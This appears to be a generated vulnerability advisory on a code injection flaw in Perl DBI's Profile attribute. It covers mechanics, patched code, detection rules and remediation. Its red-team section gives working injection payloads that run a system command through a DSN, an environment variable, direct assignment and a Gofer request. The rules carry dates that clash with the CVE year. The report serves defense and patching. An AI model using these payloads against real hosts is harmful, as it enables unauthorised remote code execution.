CVE-2026-14380
Executive Summary
CVE-2026-14380 is a critical code injection vulnerability in the Perl DBI (Database Interface) module, affecting versions prior to 1.650. The flaw resides in how the Profile attribute is handled. When a string is assigned to a DBI handle's Profile attribute, the module splits the string into path, package, and arguments, and then interpolates the package part in a string eval without any validation. This allows an attacker to inject arbitrary Perl code, leading to full remote code execution (RCE) on the host process.
The vulnerability can be triggered through three distinct attack vectors: the DBI_PROFILE environment variable, direct attribute assignment in code, or a DSN driver-attribute clause (dbi:Driver(Profile=>SPEC):db). The most severe remote attack scenario involves a network-exposed DBI::Gofer or DBI::ProxyServer, where a client can send a crafted DSN that reaches the Profile attribute, executing code on the broker host.
This vulnerability is classified as critical due to its low attack complexity, no required privileges, and no user interaction. Successful exploitation results in complete compromise of confidentiality, integrity, and availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Perl ecosystem, specifically the DBI module available on CPAN. Organizations using Perl-based applications that rely on DBI for database connectivity are at risk. The attack surface is broadened by the fact that the Profile attribute can be influenced by environment variables and DSN strings, which are often derived from external or untrusted sources. Supply chain risk is elevated for any Perl application that processes user-supplied DSNs or environment variables, as a compromised upstream dependency or a malicious package could exploit this flaw to execute arbitrary code.
CVSS Breakdown & Threat Level
CVSS Score: 10.0 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over a network.
- Attack Complexity (AC): Low – No special conditions or complex steps are required.
- Privileges Required (PR): None – No authentication is needed.
- User Interaction (UI): None – The victim does not need to perform any action.
- Scope (S): Unchanged – The impact is confined to the vulnerable component.
- Confidentiality (C): High – Full access to all data on the system.
- Integrity (I): High – Complete control over system data and operations.
- Availability (A): High – Full ability to disrupt services.
Threat Level: Critical. The combination of network exploitability, low complexity, and full impact makes this a top-priority vulnerability for patching.
Deep Dive & Mechanics
The vulnerability is rooted in the DBI::_parse_profile function (or equivalent internal logic) that processes the Profile attribute. When a string is assigned to $dbh->{Profile}, DBI splits it using a delimiter (typically a colon :) into three parts: path, package, and arguments. The package part is then directly interpolated into a string eval to load the profiling module.
For example, if an attacker sets Profile to path:Malicious::Package:args, DBI will execute something like:
eval "require Malicious::Package";
This eval is performed without sanitizing the package name, allowing an attacker to inject arbitrary Perl code by including special characters or using the ; delimiter to break out of the require statement.
The three attack vectors are:
- Environment Variable (
DBI_PROFILE): If an attacker can control the environment of the Perl process (e.g., via CGI, web application, or container), they can setDBI_PROFILEto a malicious value. - Direct Attribute Assignment: In code where user input is passed to
$dbh->{Profile}, an attacker can inject malicious strings. - DSN Driver-Attribute Clause: In a DSN like
dbi:mysql(Profile=>SPEC):db, theProfilevalue is extracted and processed. This is the most dangerous vector for network-exposed services likeDBI::GoferorDBI::ProxyServer, where a remote client can send a crafted DSN.
The core issue is the lack of validation on the package name before it is passed to eval. A properly patched version would either validate the package name against a whitelist of allowed characters (e.g., only alphanumeric and ::) or avoid using eval altogether.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
sub _parse_profile {
my ($class, $profile) = @_;
my ($path, $package, $args) = split(/:/, $profile, 3);
# No validation of $package
eval "require $package";
# ...
}
Patched Code (Conceptual):
sub _parse_profile {
my ($class, $profile) = @_;
my ($path, $package, $args) = split(/:/, $profile, 3);
# Validate package name: only allow alphanumeric and ::
if ($package =~ /^[a-zA-Z_][a-zA-Z0-9_]*(?:::[a-zA-Z_][a-zA-Z0-9_]*)*$/) {
eval "require $package";
} else {
die "Invalid package name in Profile attribute";
}
# ...
}
The patched version introduces a strict regex validation that only allows valid Perl package names (e.g., My::Module). Any attempt to inject code via special characters like ;, (, ), or backticks will be rejected.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A Perl application using DBI < 1.650.
- Ability to influence the
Profileattribute via one of the three vectors.
Exploit Payload (via DSN):
# Craft a DSN that injects code via the Profile attribute
my $dsn = "dbi:mysql(Profile=>path:system('id')#:args):db";
# The # comments out the rest of the eval, allowing arbitrary code execution.
Exploit via Environment Variable:
export DBI_PROFILE="path:system('id')#:args"
perl -e 'use DBI; my $dbh = DBI->connect("dbi:SQLite:dbname=:memory:", "", "");'
Exploit via Direct Assignment:
my $dbh = DBI->connect("dbi:SQLite:dbname=:memory:", "", "");
$dbh->{Profile} = "path:system('id')#:args";
Full Exploit for DBI::Gofer/ProxyServer:
# Client sends a malicious DSN to the proxy server
use DBI::Gofer::Request;
my $request = DBI::Gofer::Request->new(
dsn => "dbi:mysql(Profile=>path:system('id')#:args):db",
user => "",
password => "",
);
# Send to proxy server...
Expected Output: The id command executes on the server, and its output is returned or logged.
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual DSN strings containing
Profile=>with suspicious characters like;,(,), or backticks. - Log all
evaloperations in Perl, especially those involving user-supplied strings. - Use a Web Application Firewall (WAF) to block requests containing
Profile=>in DSN parameters.
Prevention:
- Immediately upgrade DBI to version 1.650 or later.
- If patching is not possible, disable the
Profileattribute by setting$DBI::profile = 0or by overriding the attribute setter. - Restrict environment variable control for the
DBI_PROFILEvariable. - Validate and sanitize all DSN strings before passing them to DBI.
Indicators of Compromise (IOCs)
- Network IOCs:
- DSN strings containing
Profile=>followed by non-standard package names (e.g.,system,exec, backticks). - Outbound connections from the Perl process to unexpected IPs (if the payload establishes a reverse shell).
- DSN strings containing
- Host IOCs:
- Unexpected Perl processes running with high privileges.
- Presence of files in
/tmp/or other writable directories created by the injected code. - Unusual entries in system logs (e.g.,
/var/log/syslog) showing Perl eval errors.
- File IOCs:
- Modified Perl scripts that now contain
Profileassignments with suspicious values. - New files in the Perl library path (e.g.,
@INC) that could be malicious modules.
- Modified Perl scripts that now contain
Detection Engineering
YARA Rule
rule CVE_2026_14380_DBI_Profile_Injection {
meta:
description = "Detects attempts to exploit CVE-2026-14380 via Profile attribute injection in Perl DBI"
author = "Valters IT"
date = "2025-04-10"
severity = "critical"
strings:
$profile_attr = /Profile\s*=>\s*["'][^"']*[:;`()]/ nocase
$env_var = /DBI_PROFILE\s*=\s*[^;]*[:;`()]/ nocase
$dsn_pattern = /dbi:\w+\([^)]*Profile\s*=>\s*[^)]*[:;`()]/ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2026-14380 - Perl DBI Profile Injection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects suspicious DBI Profile attribute assignments that may indicate exploitation of CVE-2026-14380
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/perl'
CommandLine|contains|all:
- 'Profile'
- '=>'
CommandLine|re: '(?:system|exec|backtick|`|\$\(|%x)'
condition: selection
falsepositives:
- Legitimate use of profiling with safe package names
level: critical
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2026-14380 - Perl DBI Profile Injection Attempt"; flow:to_server,established; content:"Profile=>"; nocase; pcre:"/Profile\s*=>\s*[\x22\x27][^;`()]*[:;`()]/i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade DBI to version 1.650 or later. This is the only complete fix.
- Workaround: If patching is not possible, disable the
Profileattribute by setting$DBI::profile = 0at the start of your Perl script. - Environment Control: Ensure that the
DBI_PROFILEenvironment variable is not controllable by untrusted users. In web applications, sanitize or strip this variable.
Long-Term Measures:
- Implement input validation for all DSN strings, especially those coming from external sources.
- Use a Web Application Firewall (WAF) to block requests containing suspicious
Profileattributes. - Monitor for the IOCs listed above.
- Conduct a security audit of all Perl applications using DBI to ensure they are not vulnerable.
Valters IT Signature
This report was generated by Valters IT DevSecOps & CTI Expert System. For further analysis or remediation support, contact your Valters IT representative.